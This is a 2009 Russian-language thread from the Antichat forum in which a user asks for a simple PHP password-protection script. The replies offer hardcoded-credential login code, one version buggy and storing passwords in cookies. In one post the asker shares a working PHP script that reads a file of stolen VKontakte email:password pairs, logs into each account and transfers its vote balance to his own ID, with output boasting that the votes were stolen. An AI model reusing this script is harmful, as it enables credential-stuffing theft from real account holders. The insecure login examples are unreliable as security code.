ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Простейший скрипт авторизации без mysql
  #1  
Старый 26.09.2009, 09:29
Аватар для selevit
selevit
Banned
Регистрация: 19.08.2009
Сообщений: 104
Провел на форуме:
247293

Репутация: 23
Отправить сообщение для selevit с помощью ICQ
По умолчанию Простейший скрипт авторизации без mysql

Всем доброго времени суток, нужен самый простой скрипт авторизации на пхп без БД, чтобы доступ к странице имел только я.

Заранее спасибо!!!
 
Ответить с цитированием

  #2  
Старый 26.09.2009, 09:34
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
Smile

 
Ответить с цитированием

  #3  
Старый 26.09.2009, 09:45
Аватар для selevit
selevit
Banned
Регистрация: 19.08.2009
Сообщений: 104
Провел на форуме:
247293

Репутация: 23
Отправить сообщение для selevit с помощью ICQ
По умолчанию

у меня не работает, выдает просто пустой экран, можно обычный скрипт авторизации с обычной формой, без каких - либо access.php?
 
Ответить с цитированием

  #4  
Старый 26.09.2009, 10:20
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
Smile

PHP код:
<?php
session_start
();
//-----------------//
$login 'xackep';          // Логин
$password 'qwerty';      // Пароль
//-----------------//

if (($_COOKIE['login'] == $login) && ($_COOKIE['password'] == $password) || ($_SESSION['password'] == md5($login.':'.$password)))
 {
  echo 
'<script>alert(\'Вы уже авторизированны\')</script>';
 }
 else
 {
  echo 
'<html>
         <head>
          <title>Авторизация</title>
         </head>
          <body>         
           <form name="autorization"  action="" method="POST">
            Логин:&nbsp;<input type="text" name="login"><br>
            Пароль:&nbsp;<input type="password" name="password"><br>
            Запомнить&nbsp;<input type=checkbox name="save_cookie" value=1>&nbsp;?<p>
            <input type="submit" name="data" value="Вход">
           </form>
          </body>
         </html>'
;
  if((
$_POST['login']) && ($_POST['password']))
   {
  if((
trim($_POST['login']) == $login) && (trim($_POST['password']) == $password))
   {
    if(!
$_POST['save_cookie'])
     {
      
$_SESSION['password'] = md5($login.':'.$password);
      echo 
'<script>alert(\'Вы авторизированны! (сессия)\')</script>';
     }
     else
     {
      
setcookie("login",$login);
      
setcookie("login",$password);
      echo 
'<script>alert(\'Вы авторизированны! (куки)\')</script>';
     }
   }
   else
   {
    echo 
'<script>alert(\'Логин или пароль не верны!\')</script>';
   }
  } 
  else
  {
   if((!
$_POST['login']) && (!$_POST['password'])) 
   {
   }
   else
   {
   echo 
'<script>alert(\'Введите все значения!\')</script>';
   }
  }
  }
  
/* geforse.name */
?>
"Авторизация на скорую руку"
Сохраняет cookie, либо session
*Советую ещё добавить проверку на спец.символы
 
Ответить с цитированием

  #5  
Старый 26.09.2009, 10:42
Аватар для selevit
selevit
Banned
Регистрация: 19.08.2009
Сообщений: 104
Провел на форуме:
247293

Репутация: 23
Отправить сообщение для selevit с помощью ICQ
По умолчанию

на денвере работает, на хостинге нет, т.е там php 4. можно что то типа вот этого


на php4.

Заранее спасибо!
 
Ответить с цитированием

  #6  
Старый 26.09.2009, 10:47
Аватар для LolFEm
LolFEm
Участник форума
Регистрация: 08.09.2006
Сообщений: 194
Провел на форуме:
1627025

Репутация: 163
По умолчанию

 
Ответить с цитированием

  #7  
Старый 26.09.2009, 11:03
Аватар для selevit
selevit
Banned
Регистрация: 19.08.2009
Сообщений: 104
Провел на форуме:
247293

Репутация: 23
Отправить сообщение для selevit с помощью ICQ
По умолчанию

пишет ошибку 500.
 
Ответить с цитированием

  #8  
Старый 26.09.2009, 11:10
Аватар для selevit
selevit
Banned
Регистрация: 19.08.2009
Сообщений: 104
Провел на форуме:
247293

Репутация: 23
Отправить сообщение для selevit с помощью ICQ
По умолчанию

вот, что я хочу, впринципе, у меня есть скрипт

PHP код:
<?php
set_time_limit
(0);
error_reporting(1);
$to "АЙДИ НА КОТОРЫЙ ПЕРЕДАВАТЬ ГОЛОСА"// vote to id

function curl($url,$post)
{
//echo "$url | $post <br>\n";
$cfile 'cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER0);
curl_setopt($chCURLOPT_POSTFIELDS$post);
curl_setopt($chCURLOPT_COOKIEJAR$cfile);
curl_setopt($chCURLOPT_COOKIEFILE$cfile);
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};
function 
transfer_vote($email,$pass,$to){
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
$result curl("http://vkontakte.ru/app614422","");
preg_match("/viewer_id\", \"(.*?)\"/i"$result$user_id);
preg_match("/balance = (.*?);/i"$result$vote);
preg_match("/join(.*?)'>/i"$result$appsl);
preg_match("/app_id = (.*?);/i"$result$app_id);
preg_match("/app_hash = '(.*?)';/i"$result$app_hash);
preg_match("/auth_key\", \"(.*?)\"/i"$result$auth_key);
    if (
$vote['1'] >= "1") {
    echo 
"#Спиздили ".$vote['1']." VOTE...<br>";
    echo 
"#Всё ok...<br>";
    }
    else {
    echo 
"#Нету голосов на акке(<br>";
    }
flush();
@
ob_flush();
$result curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");
$result curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."&auth=".$auth_key['1']);
return 
$result;
}
echo 
"<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b    order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> ";
$is_aks is_file  ("votes.txt");
if(
$is_aks != 1){
    die(
'Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде email@mail.com:password');
}
$aks file("votes.txt"); // AC file, login:pass
foreach($aks as $k => $v){
$ak explode(":"trim($v));
echo 
"<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>";
$vote_res transfer_vote($ak['0'],$ak['1'],$to);
echo 
"------------------------------------------<br>";
flush();
@
ob_flush();
}
?>
и файл с акками, так вот, если авторизации не будет, то любой может зайти и украсть мои акки или своровать голоса на свой id, мне надо поставить на этот скрипт защиту паролем. я в php почти ничего не понимаю, подскажите, как защитить скрипт, заранее спасибо!
 
Ответить с цитированием

  #9  
Старый 26.09.2009, 12:40
Аватар для selevit
selevit
Banned
Регистрация: 19.08.2009
Сообщений: 104
Провел на форуме:
247293

Репутация: 23
Отправить сообщение для selevit с помощью ICQ
По умолчанию

ВСЕ!!! разобрался - я подключил phpmyadmin, создал там таблицу с юзером, взял готовый скрипт авторизации и переделал его под свою БД. УРА!!!
 
Ответить с цитированием

  #10  
Старый 26.09.2009, 14:06
Аватар для heretic1990
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию

Вот простейший пример.
PHP код:
<?php
$login_successful 
false;
// check user & pwd:
if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])){
    
$usr $_SERVER['PHP_AUTH_USER'];
    
$pwd $_SERVER['PHP_AUTH_PW'];
    if (
$usr == 'jonas' && $pwd == 'secret'){
        
$login_successful true;
    }
}
// login ok?
if (!$login_successful){
    
// send 401 headers:
    // realm="something" will be shown in the login box
    
header('WWW-Authenticate: Basic realm="Secret page"');
    
header('HTTP/1.0 401 Unauthorized');
    print 
"Login failed!n";
}
else {
    
// show secret page:
    
print 'you reached the secret page!';
}
?>
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL инъекция (в т.ч. и blind SQL) kot777 Уязвимости 4 04.10.2008 17:18
Xss без Xss k00p3r Чужие Статьи 5 08.09.2008 15:53
Посимвольный перебор в базах данных на примере MySQL LoFFi Чужие Статьи 5 30.04.2007 05:05
PHP-скрипт для работы с MySQL. D=P=CH= MOD= ПО для Web разработчика 1 28.01.2007 18:44
SQL injection в MySql сервере версии 3,x bandera Чужие Статьи 3 04.06.2006 16:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ